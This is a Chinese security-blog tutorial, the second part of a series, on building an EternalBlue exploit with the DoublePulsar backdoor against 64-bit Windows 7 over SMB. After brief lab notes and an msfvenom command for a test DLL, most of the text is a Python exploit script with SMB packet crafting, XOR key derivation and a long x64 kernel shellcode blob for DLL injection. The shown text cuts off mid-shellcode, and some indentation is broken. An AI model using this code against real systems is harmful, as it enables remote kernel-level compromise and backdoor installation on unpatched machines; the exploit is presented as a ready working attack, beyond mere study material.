安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】EternalBlue之win7 64位exploit编写(二)

http://p4.qhimg.com/t01f040ee4fc48edf8a.png

作者:

预估稿费:400RMB

前言


在上一篇文章中,原文链接: http://bobao.360.cn/learning/detail/4012.html

我们构造了针对于Win 7三十二位操作系统攻击exploit,本节将完成一个win7 64位的exploit


上节回顾


win7 三十二位的exploit是由两部分功能代码组成的,一个是安装后门(Eternalblue) ,另一个则是后门维持(Doublepulsar)

1.Win7三十二位与六十四位安装后门 实际就是hook了ntdll!kiFastCallEntry。所以内核层函数的hook(后门安装)也是受内核版本影响

2.注入部分。没什么解释的,通常情况32位dll只能注入32位进程, 64位dll只能注入64位进程

想多了解些的可以读下15pb 赵神这篇 (关于32位和64位进程互读互写)

实验环境


网络环境: 局域网

攻击ip: 192.168.157.129(win7_x86)

靶机ip: 192.168.157.130(win7_x64)

工具: NSA的fb.py、wireshark、python、hex editor、

实验步骤


0x1: 一样的套路 开wireshark监听port 445捕捉到Eternalblue的数据流

http://p5.qhimg.com/t01154e6d6890498bbc.png

0x2: 捕捉Doubleplusar动作的数据流

在六十四位下和三十二位包的数量都是一样的,可能不同就在某个字段上。

http://p3.qhimg.com/t018f19e8acdfcfeefb.png

0x3: 数据包处理

接着就用上节的脚本来把Eternalblue攻击的数据包序列化供给我们的python调用

接着就是手动去分析Doubleplusar 在六十四位和三十二位的不同,参考文章:

http://bobao.360.cn/learning/detail/4074.html

发现是signature字段 

三十二位: xxxxxxxxx0xxxxxx

六十四位: xxxxxxxxx1xxxxxx

http://p4.qhimg.com/t01e23c106e4a5ba0f4.png

   

http://p2.qhimg.com/t01ab78a9f708b987ed.png

其他没什么问题。

0x4: exploit构造脚本

关于测试dll的生成:

 kali-> msfvenom -p windows/x64/exec CMD="calc.exe" -f dll > /x64.dll

这样生成就可以, 上面我用Doublepuls注入的dll是用msf生的。 注入哪个进程随你,脚本中默认是explorer。

测试dll要选择64位dll。否则可能出现蓝屏现象。

#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket
import time
import ast
import binascii
import struct

HOST ='192.168.157.130'
PORT = 445
dllfile = "x64_calc.dll"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))

def Install_Backdoor():
	backlog = open("eternalblue.replay").read().split("\n\n")
	backlog = [ast.literal_eval(i) for i in backlog]
	connections = []
	start = time.time()
	for i in backlog:
	delta = i[-1] - (start - time.time())
		print(i[0], delta)
		if delta > 0:
			time.sleep(delta)
		start = time.time()
		if i[0] == "connect":
			sock = socket.socket()
			sock.connect((HOST , PORT ))
			connections.append({"socket":sock,"stream" : i[1]})
		if i[0] == "close":
			[j['socket'].close() for j in connections if j["stream"] == i[1]]
		if i[0] == "send":
			[j['socket'].send(i[2]) for j in connections if j["stream"] == i[1]]
		if i[0] == "recv":
			[j['socket'].recv(2048) for j in connections if j['stream'] == i[1]]
			
def calculate_doublepulsar_xor_key(s):
	"""Calaculate Doublepulsar Xor Key
	"""
	x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
	x = x & 0xffffffff  # this line was added just to truncate to 32 bits
	return x

def make_unicode_host(org_host):
	host_len = len(org_host)
	new_host = ""
	for i in range(host_len):
		new_host =new_host + "\x00" + org_host[i]
	return new_host

def get_smb_signature(smb_data):
	print binascii.b2a_hex(smb_data[18:22])
	return smb_data[18:22]
	
	def get_key(smb_data):
	smb_sign = struct.unpack("<I",get_smb_signature(smb_data))[0]
	print "smb_sign:","0x%X"%(smb_sign)
	int_key = calculate_doublepulsar_xor_key(smb_sign)
	print  "int_key:","0x%X"%(int_key)
	key=struct.pack("<I",int_key)
	print "key:",binascii.b2a_hex(key)
	return key

def xor_data(org_data , key):
	#异或加密
	newdata = ""
	for i in range(len(org_data)):
		newdata += chr(ord(org_data[i]) ^ ord(key[i%len(key)]))
	
	#print binascii.b2a_hex(newdata)
	return newdata	
	
def make_smb_request(send_data , key):
	data_len = len(send_data)
	array = []
	ncount = data_len / 4096
	if (data_len % 4096) > 0:
		ncount += 1
	make_data =""

	for i in range(ncount):
		if i < ncount-1:
			smb_Length = struct.pack(">H",4096 +32 +34 + 12)
			#print binascii.b2a_hex(smb_Length)
			totalDataCount = struct.pack("<H",4096)
			byteCount = struct.pack("<H",4096 + 13)
			make_data = send_data[i*4096:(i+1)*4096]
		else:
			smb_Length = struct.pack(">H",data_len - 4096*i +32 +34 + 12)
			totalDataCount = struct.pack("<H",data_len - 4096*i)
			byteCount = struct.pack("<H",data_len - 4096*i+ 13)
			make_data = send_data[i*4096:]
					
		netBIOS_header = "\x00\x00"+ smb_Length
		smb_header = "\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00"
		transRequest_header = "\x0F\x0C\x00"+ totalDataCount +"\x01\x00\x00\x00\x00\x00\x00\x00\xF0\xCC\x0C\x00\x00\x00\x0C\x00\x42\x00"+totalDataCount+"\x4E\x00\x01\x00\x0E\x00"+ byteCount +"\x00"
		data_index = struct.pack(">H",i*0x10)
		data_header = "\x00\x2C\x00\x00"+totalDataCount+"\x00\x00"+data_index+"\x00\x00"
		#print "data_index:",binascii.b2a_hex(data_index)
		#print "data_header:",binascii.b2a_hex(data_header)
		#print len(data_header)
		array.append(netBIOS_header + smb_header +transRequest_header + xor_data(data_header + make_data,key))
	return array , ncount
	
if __name__ == "__main__":
	#安装后门
	Install_Backdoor()
	print "------Install backdoor done!------"
	#上传并执行dll

	#smb 头是32字节 请求包50字节 ,以下一行30字节
	#smb版本
	step_0_data ="\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00"
	s.sendall(step_0_data)
	data = s.recv(1024)
	print 0,data
	#windows系统版本
	step_1_data ="\x00\x00\x00\x88\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x0D\xFF\x00\x88\x00\x04\x11\x0A\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xD4\x00\x00\x00\x4B\x00\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00"
	s.sendall(step_1_data)
	data = s.recv(1024)
	print 1,data

	#对方ip地址 x.x.x.x 其中有2个字节与x86的不一致
	str_ip = "\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x08\x40\x00\x04\xFF\x00\x5e\x00\x08\x00\x01\x00\x33\x00\x00\x5C\x00\x5C"+ make_unicode_host(HOST)+"\x00\x5C\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00"
	step_2_data ="\x00\x00\x00"+chr(len(str_ip))+ str_ip
	#print binascii.b2a_hex(step_2_data)
	#print step_2_data
	s.sendall(step_2_data)
	data = s.recv(1024)
	print 2,data
	#验证得到signature
	step_3_data ="\x00\x00\x00\x4E\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x41\x00\x0F\x0C\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1F\x36\xCE\x00\x00\x00\x0C\x00\x42\x00\x00\x00\x4E\x00\x01\x00\x0E\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	s.sendall(step_3_data)
	response = s.recv(1024)
	print 3,response
	print 3,binascii.b2a_hex(response)

	key = get_key(response)
	#shellcode+dll
        kernel_shellcode ="\x48\x89\xE0\x66\x83\xE4\xF0\x41\x57\x41\x56\x41\x55\x41\x54\x53\x51\x52\x55\x57\x56\x50\x50\xE8\xBC\x06\x00\x00\x48\x89\xC3\x48\xB9\xDF\x81\x14\x3E\x00\x00\x00\x00\xE8\x26\x05\x00\x00\x48\x85\xC0\x0F\x84\x55\x03\x00\x00\x48\x89\x05\x9C\x07\x00\x00\x48\xB9\xBA\x1E\x03\xA0\x00\x00\x00\x00\xE8\x07\x05\x00\x00\x48\x85\xC0\x0F\x84\x36\x03\x00\x00\x48\x89\x05\x85\x07\x00\x00\x48\xB9\x84\x06\xE7\xF9\xFF\xFF\xFF\xFF\xE8\xE8\x04\x00\x00\x48\x85\xC0\x0F\x84\x17\x03\x00\x00\x48\x89\x05\x6E\x07\x00\x00\x48\xB9\x4F\xFE\xEB\x15\x00\x00\x00\x00\xE8\xC9\x04\x00\x00\x48\x85\xC0\x0F\x84\xF8\x02\x00\x00\x48\x89\x05\x57\x07\x00\x00\x48\xB9\xF9\x30\xAC\xA4\x00\x00\x00\x00\xE8\xAA\x04\x00\x00\x48\x85\xC0\x0F\x84\xD9\x02\x00\x00\x48\x89\x05\x40\x07\x00\x00\x48\xB9\xCA\xBE\xD0\xEC\x00\x00\x00\x00\xE8\x8B\x04\x00\x00\x48\x85\xC0\x0F\x84\xBA\x02\x00\x00\x48\x89\x05\x29\x07\x00\x00\x48\xB9\xAE\xB8\x9F\x5D\xFF\xFF\xFF\xFF\xE8\x6C\x04\x00\x00\x48\x85\xC0\x0F\x84\x9B\x02\x00\x00\x48\x89\x05\x12\x07\x00\x00\x48\xB9\x94\x01\x69\xE3\xFF\xFF\xFF\xFF\xE8\x4D\x04\x00\x00\x48\x85\xC0\x0F\x84\x7C\x02\x00\x00\x48\x89\x05\xFB\x06\x00\x00\x48\xB9\xF6\x10\x00\xB8\xFF\xFF\xFF\xFF\xE8\x2E\x04\x00\x00\x48\x85\xC0\x0F\x84\x5D\x02\x00\x00\x48\x89\x05\xE4\x06\x00\x00\x48\xB9\xCA\xD6\x5F\xD2\xFF\xFF\xFF\xFF\xE8\x0F\x04\x00\x00\x48\x85\xC0\x0F\x84\x3E\x02\x00\x00\x48\x89\x05\xCD\x06\x00\x00\x48\xB9\x79\xA8\x24\x11\x00\x00\x00\x00\xE8\xF0\x03\x00\x00\x48\x85\xC0\x0F\x84\x1F\x02\x00\x00\x48\x89\x05\xB6\x06\x00\x00\x48\xB9\x37\xC6\x90\x4F\x00\x00\x00\x00\xE8\xD1\x03\x00\x00\x48\x85\xC0\x0F\x84\x00\x02\x00\x00\x48\x89\x05\x9F\x06\x00\x00\x48\xB9\x6C\xE7\xFE\x10\x00\x00\x00\x00\xE8\xB2\x03\x00\x00\x48\x85\xC0\x0F\x84\xE1\x01\x00\x00\x48\x89\x05\x88\x06\x00\x00\xE8\x4F\x03\x00\x00\x8B\x05\x85\x06\x00\x00\x85\xC0\x0F\x84\xC7\x01\x00\x00\xE8\xD9\x01\x00\x00\x48\x85\xC0\x0F\x84\xB9\x01\x00\x00\x4C\x8D\x0D\x94\x06\x00\x00\x41\x8B\x09\x51\x51\x6A\x40\x68\x00\x10\x00\x00\x4D\x31\xC0\x48\x8D\x15\xD2\x05\x00\x00\x48\xB9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x48\x83\xEC\x20\xFF\x15\x06\x06\x00\x00\x48\x83\xC4\x38\x59\x89\x0D\x5F\x06\x00\x00\x48\x85\xC0\x0F\x85\x22\x01\x00\x00\x48\x8D\x35\x57\x06\x00\x00\x48\x8B\x3D\x9C\x05\x00\x00\xF3\xA4\x80\x3D\x2F\x06\x00\x00\x01\x74\x05\xE8\x96\x02\x00\x00\x48\x8B\x35\x4D\x05\x00\x00\x8B\x0D\x0F\x06\x00\x00\x48\x01\xCE\x48\x89\xF1\x44\x8B\x25\x06\x06\x00\x00\x48\x8B\x11\x48\x39\xD6\x0F\x84\xDE\x00\x00\x00\x48\x31\xC0\x8B\x05\xDD\x05\x00\x00\x48\x29\xC2\x51\x52\x48\x89\xD1\x48\x83\xEC\x20\xFF\x15\xC3\x05\x00\x00\x48\x83\xC4\x20\x5A\x59\x48\x85\xC0\x74\x2E\x4D\x31\xC9\x44\x8B\x0D\xCE\x05\x00\x00\x4A\x8B\x04\x08\x48\x85\xC0\x74\x1B\x4C\x01\xE2\x80\x3D\xBF\x05\x00\x00\x01\x74\x07\x80\x3A\x01\x74\x0F\xEB\x08\x8B\x02\x0F\xBA\xE0\x05\x72\x05\x48\x8B\x09\xEB\x9B\x4C\x29\xE2\x48\x89\x15\x0B\x05\x00\x00\x48\xBA\x90\x00\x00\x00\x00\x00\x00\x00\x48\x31\xC9\x48\x83\xEC\x40\xFF\x15\x3C\x05\x00\x00\x48\x83\xC4\x40\x48\x85\xC0\x74\x5B\x48\x89\x05\xEC\x04\x00\x00\xC6\x80\x80\x00\x00\x00\xC3\x48\x31\xC9\x51\x6A\x01\xFF\x35\xC9\x04\x00\x00\x51\x4C\x8D\x88\x80\x00\x00\x00\x4D\x31\xC0\x48\x8B\x15\xBF\x04\x00\x00\x48\x89\xC1\x48\x83\xEC\x20\xFF\x15\x02\x05\x00\x00\x48\x83\xC4\x40\x4D\x31\xC9\x4D\x31\xC0\x48\x31\xD2\x48\x8B\x0D\xA6\x04\x00\x00\x48\x83\xEC\x20\xFF\x15\xEC\x04\x00\x00\x48\x83\xC4\x20\x48\x83\xEC\x20\x48\x8D\x0D\x4D\x04\x00\x00\xFF\x15\xAF\x04\x00\x00\x48\x8B\x0D\x38\x04\x00\x00\xFF\x15\xAA\x04\x00\x00\x48\x83\xC4\x20\x48\x31\xC0\x48\x8D\x3D\x9A\xFC\xFF\xFF\x48\xB9\x70\x03\x00\x00\x00\x00\x00\x00\xF3\xAA\x48\x8D\x3D\x2A\x00\x00\x00\x48\xB9\xD3\x04\x00\x00\x00\x00\x00\x00\x48\x03\x0D\xE4\x04\x00\x00\xF3\xAA\x58\x58\x5E\x5F\x5D\x5A\x59\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x48\x89\xC4\x48\x31\xC0\xC3\x53\x56\x51\x52\x48\xB9\x08\x00\x00\x00\x00\x00\x00\x00\x51\x48\x8D\x15\xD1\x03\x00\x00\x48\x83\xEC\x20\xFF\x15\x17\x04\x00\x00\x48\x83\xC4\x20\x48\x85\xC0\x0F\x85\xDD\x00\x00\x00\x48\x8B\x35\xB3\x03\x00\x00\x48\x31\xDB\x8B\x1D\x66\x04\x00\x00\x8B\x04\x1E\x83\xF8\x02\x0F\x8C\xB0\x00\x00\x00\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\xE9\x03\x00\x00\x48\x83\xC4\x20\xE8\x57\x02\x00\x00\x8B\x0D\x5A\x04\x00\x00\x39\xC8\x0F\x85\x8C\x00\x00\x00\x48\x8D\x15\x7B\x03\x00\x00\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\xC6\x03\x00\x00\x48\x89\xF1\xFF\x15\xC5\x03\x00\x00\x48\x83\xC4\x20\x48\x85\xC0\x74\x49\x48\x31\xDB\x8B\x1D\x0B\x04\x00\x00\x48\x8B\x04\x18\x48\x85\xC0\x74\x37\x48\x31\xC9\x8B\x1D\xFD\x03\x00\x00\x66\x8B\x0C\x18\x48\x8B\x44\x18\x08\x48\x85\xC0\x74\x20\x48\x31\xDB\x8B\x1D\x02\x04\x00\x00\x48\x29\xD9\x7C\x12\x48\x01\xC8\xE8\x2B\x02\x00\x00\x8B\x0D\xEB\x03\x00\x00\x39\xC8\x74\x3F\x31\xC0\x89\x05\x03\x03\x00\x00\x48\x8D\x0D\x04\x03\x00\x00\x48\x83\xEC\x20\xFF\x15\x62\x03\x00\x00\x48\x83\xC4\x20\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\x59\x03\x00\x00\x48\x83\xC4\x20\x59\x81\xF9\x00\x00\x01\x00\x7F\x0E\x83\xC1\x04\xE9\xF3\xFE\xFF\xFF\x59\x48\x89\xF0\xEB\x03\x48\x31\xC0\x5A\x59\x5E\x5B\xC3\x48\x8B\x35\xB7\x02\x00\x00\x8B\x0D\x79\x03\x00\x00\x48\x01\xCE\x48\x8B\x16\x8B\x05\x5D\x03\x00\x00\x48\x29\xC2\x48\x31\xC0\x48\xFF\xC8\x48\xC1\xE0\x2C\x48\x8B\x12\x48\x39\xC2\x72\x0B\xB8\xE8\x03\x00\x00\x89\x05\x3D\x03\x00\x00\xC3\x56\x51\x52\x48\x83\xEC\x20\xFF\x15\x1F\x03\x00\x00\x48\x89\xC6\x8B\x05\x36\x03\x00\x00\x48\x01\xC6\xFF\x15\x05\x03\x00\x00\x48\x89\xF1\x48\x39\xF0\x77\x17\x48\x8D\x90\x00\x05\x00\x00\x48\x39\xF2\x72\x0B\x48\x29\xC6\x89\x35\x00\x03\x00\x00\xEB\x08\x48\x8B\x36\x48\x39\xCE\x75\xDC\x48\x83\xC4\x20\x5A\x59\x5E\xC3\x53\x52\x51\x55\x48\x89\xE5\x48\x81\xEC\x00\x01\x00\x00\x57\x48\x89\xCF\x48\x89\xD8\x48\x89\x85\x00\xFF\xFF\xFF\xE8\xBB\x00\x00\x00\x48\x89\x85\x08\xFF\xFF\xFF\xE8\x48\x01\x00\x00\x48\x89\x85\x10\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x9A\x01\x00\x00\x48\x89\x85\x18\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x8F\x01\x00\x00\x48\x89\x85\x20\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x84\x01\x00\x00\x48\x89\x85\x28\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x89\xF9\x48\x8B\x95\x20\xFF\xFF\xFF\x48\x8B\x9D\x10\xFF\xFF\xFF\xE8\x0F\x01\x00\x00\x48\x89\x85\x30\xFF\xFF\xFF\x48\x8B\x85\x28\xFF\xFF\xFF\x48\x8B\x8D\x30\xFF\xFF\xFF\xE8\x55\x01\x00\x00\x66\x89\xC2\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x18\xFF\xFF\xFF\xE8\x49\x01\x00\x00\x5F\x48\x81\xC4\x00\x01\x00\x00\x5D\x59\x5A\x5B\xC3\x56\x57\x48\x31\xF6\x8B\x70\x3C\x48\x01\xC6\x66\x81\x3E\x50\x45\x75\x12\x48\x81\xC6\x88\x00\x00\x00\x48\x31\xFF\x8B\x3E\x48\x01\xF8\x5F\x5E\xC3\x48\x31\xC0\xEB\xF8\x56\x51\x57\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\x07\x01\xC8\x48\xFF\xC6\xEB\xE7\x5F\x59\x5E\xC3\x56\x57\x52\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xD2\x8A\x16\x01\xD0\x48\xFF\xC6\xE2\xEC\x5A\x5F\x5E\xC3\x56\x51\x57\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\x0A\x01\xC8\x48\xFF\xC6\x48\xFF\xC6\xEB\xE4\x5F\x59\x5E\xC3\x56\x48\x89\xC6\x48\x83\xC6\x18\x48\x31\xC0\x8B\x06\x5E\xC3\x53\x65\x48\x8B\x04\x25\x38\x00\x00\x00\x48\x8B\x40\x04\x48\xC1\xE8\x0C\x48\xC1\xE0\x0C\x48\x8B\x18\x66\x81\xFB\x4D\x5A\x74\x08\x48\x2D\x00\x10\x00\x00\xEB\xEE\x5B\xC3\x57\x56\x51\x48\x31\xFF\x48\x89\xC6\x48\x31\xC0\x8B\x04\xBA\x48\x01\xF0\xE8\x40\xFF\xFF\xFF\x39\xC8\x74\x0E\x48\xFF\xC7\x48\x39\xDF\x74\x0B\xEB\xE4\x59\x5E\x5F\xC3\x48\x89\xF8\xEB\xF7\x48\x31\xC0\xEB\xF2\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x1C\x48\x01\xF0\x5E\xC3\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x20\x48\x01\xF0\x5E\xC3\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x24\x48\x01\xF0\x5E\xC3\x48\xD1\xE1\x48\x01\xC8\x66\x8B\x00\xC3\x48\x81\xCA\x00\x00\xFF\xFF\x48\x81\xF2\x00\x00\xFF\xFF\x48\xC1\xE2\x02\x48\x01\xD1\x48\x31\xD2\x8B\x11\x48\x01\xD0\xC3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x03\x00\x00\x20\x00\x00\x00\x70\x00\x00\x00\x08\x03\x00\x00\x4C\x00\x00\x00\xC8\x02\x00\x00\x01\x00\x00\x00\xBD\xA2\x37\x83\x00\x00\x00\x00\x00\x00\x00\x00\x8A\x23\x00\x00\x00\x00\x00\x00\x53\x55\x57\x56\x41\x54\x41\x55\x41\x56\x41\x57\x48\x89\xE0\x48\x89\xE1\x48\x83\xE1\x08\x48\x29\xCC\x48\x81\xEC\x00\x04\x00\x00\xE8\x00\x00\x00\x00\x5D\x48\x89\xE6\x48\x89\x06\x48\x81\xEC\x00\x04\x00\x00\x48\x8D\x3D\xD2\x0E\x00\x00\x49\x89\xF0\x48\x83\xC6\x08\x48\x31\xC9\x8A\x0F\x84\xC9\x74\x3F\x48\xFF\xC7\x8B\x0F\x48\x83\xC7\x04\x8B\x17\x48\x83\xC7\x04\x84\xD2\x74\x2C\xE8\xD4\x0D\x00\x00\x51\x0F\xB6\x0F\x48\x85\xC9\x59\x75\x09\x48\x85\xC0\x0F\x84\xB9\x0D\x00\x00\x48\x89\x06\x48\x83\xC6\x08\x30\xC0\x48\x83\xC7\x01\x3A\x47\x04\x74\xCC\xEB\xB8\x4C\x89\xC6\x48\x89\x25\x3D\x0D\x00\x00\x48\x89\x2D\x3E\x0D\x00\x00\x48\x89\x35\x3F\x0D\x00\x00\x90\xE8\x00\x00\x00\x00\x59\x4D\x31\xC9\x49\x89\xC8\x48\x31\xD2\xB2\x01\x48\x8D\x0D\x2E\x0D\x00\x00\x48\x83\xEC\x20\xFF\x56\x38\x48\x83\xC4\x20\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x8B\x95\x5D\x0F\x00\x00\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x0F\x84\xCF\x0C\x00\x00\x48\x89\xC3\x56\x8B\x8D\x5D\x0F\x00\x00\x48\x8D\x35\x80\x0E\x00\x00\x48\x89\xDF\xF3\xA4\x5E\x48\x89\x5E\x48\x48\x31\xC0\x8B\x85\x5D\x0F\x00\x00\x48\x89\x46\x50\x48\x31\xC9\x8B\x8D\x5D\x0F\x00\x00\x48\x8D\x3D\x59\x0E\x00\x00\x31\xC0\xF3\xAA\x48\x31\xC0\x48\x89\x46\x58\x48\x89\x46\x60\x48\x89\x46\x68\x48\x8D\x05\x77\x09\x00\x00\x48\x89\x05\xC4\x02\x00\x00\x48\x8D\x05\x71\x09\x00\x00\x48\x89\x05\xBE\x02\x00\x00\x48\x8D\x05\x78\x09\x00\x00\x48\x89\x05\xB8\x02\x00\x00\x48\x8D\x05\x86\x09\x00\x00\x48\x89\x05\xB2\x02\x00\x00\x48\x8D\x05\xA7\x08\x00\x00\x48\x89\x05\xAC\x02\x00\x00\x55\x48\x8D\x2D\xD6\x01\x00\x00\x48\x8B\x7E\x48\xE8\xA3\x02\x00\x00\x48\x85\xC0\x0F\x85\x13\x01\x00\x00\xE8\x1A\x03\x00\x00\x48\x85\xC0\x0F\x84\x05\x01\x00\x00\x48\x89\x45\x20\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x3F\x48\x8B\x45\x20\x48\x29\xF8\x48\x89\x45\x28\xE8\x64\x03\x00\x00\x48\x85\xC0\x0F\x85\xDD\x00\x00\x00\xE8\xE6\x03\x00\x00\x48\x85\xC0\x0F\x85\xCF\x00\x00\x00\xE8\x4E\x05\x00\x00\x48\x85\xC0\x0F\x85\xC1\x00\x00\x00\xE8\x57\x05\x00\x00\x48\x85\xC0\x0F\x85\xB3\x00\x00\x00\xE8\x57\x06\x00\x00\x48\x85\xC0\x0F\x85\xA5\x00\x00\x00\xE8\xBA\x06\x00\x00\x48\x85\xC0\x0F\x85\x97\x00\x00\x00\xE8\xC6\x07\x00\x00\x48\x85\xC0\x0F\x85\x89\x00\x00\x00\x48\x8B\x45\x20\x48\x89\x46\x70\x48\x8B\x45\x18\x48\x89\x46\x78\x5D\x8B\x85\x61\x0F\x00\x00\x89\x86\x80\x00\x00\x00\x48\x8B\x56\x70\x48\x63\x42\x3C\x48\x8D\x9C\x10\x88\x00\x00\x00\x48\x85\xDB\x74\x48\x8B\x1B\x48\x01\xD3\x83\x7B\x14\x00\x74\x3D\x8B\xBE\x80\x00\x00\x00\x2B\x7B\x10\x3B\x7B\x14\x7F\x2F\x8B\x4B\x1C\x48\x01\xD1\x8B\x04\xB9\x48\x01\xD0\x48\x83\xEC\x20\x4C\x8B\x46\x50\x48\x8B\x56\x48\x48\xB9\x02\x00\x00\x00\x00\x00\x00\x00\xFF\xD0\x48\x83\xC4\x20\x48\x89\x86\x88\x00\x00\x00\x55\x48\x8D\x2D\xB8\x00\x00\x00\xE8\x28\x07\x00\x00\xEB\x00\x48\x8B\x4D\x78\x48\x85\xC9\x74\x0B\x48\x83\xEC\x20\xFF\x56\x40\x48\x83\xC4\x20\x48\x8B\x7D\x20\x48\x85\xFF\x0F\x84\x8A\x00\x00\x00\x4C\x8D\x8D\xAA\x00\x00\x00\x49\xB8\x40\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x55\x50\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\x56\x30\x48\x83\xC4\x20\x48\x85\xC0\x74\x09\x48\x8B\x4D\x50\x48\x31\xC0\xF3\xAA\x49\xB8\x00\x80\x00\x00\x00\x00\x00\x00\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\x56\x10\x48\x83\xC4\x20\x48\x8B\x7D\x60\x48\x85\xFF\x74\x2C\x48\x8B\x4D\x68\x48\x31\xC0\xF3\xAA\x49\xB8\x00\x80\x00\x00\x00\x00\x00\x00\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x60\x48\x83\xEC\x20\xFF\x56\x10\x48\x83\xC4\x20\x5D\xE9\x60\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00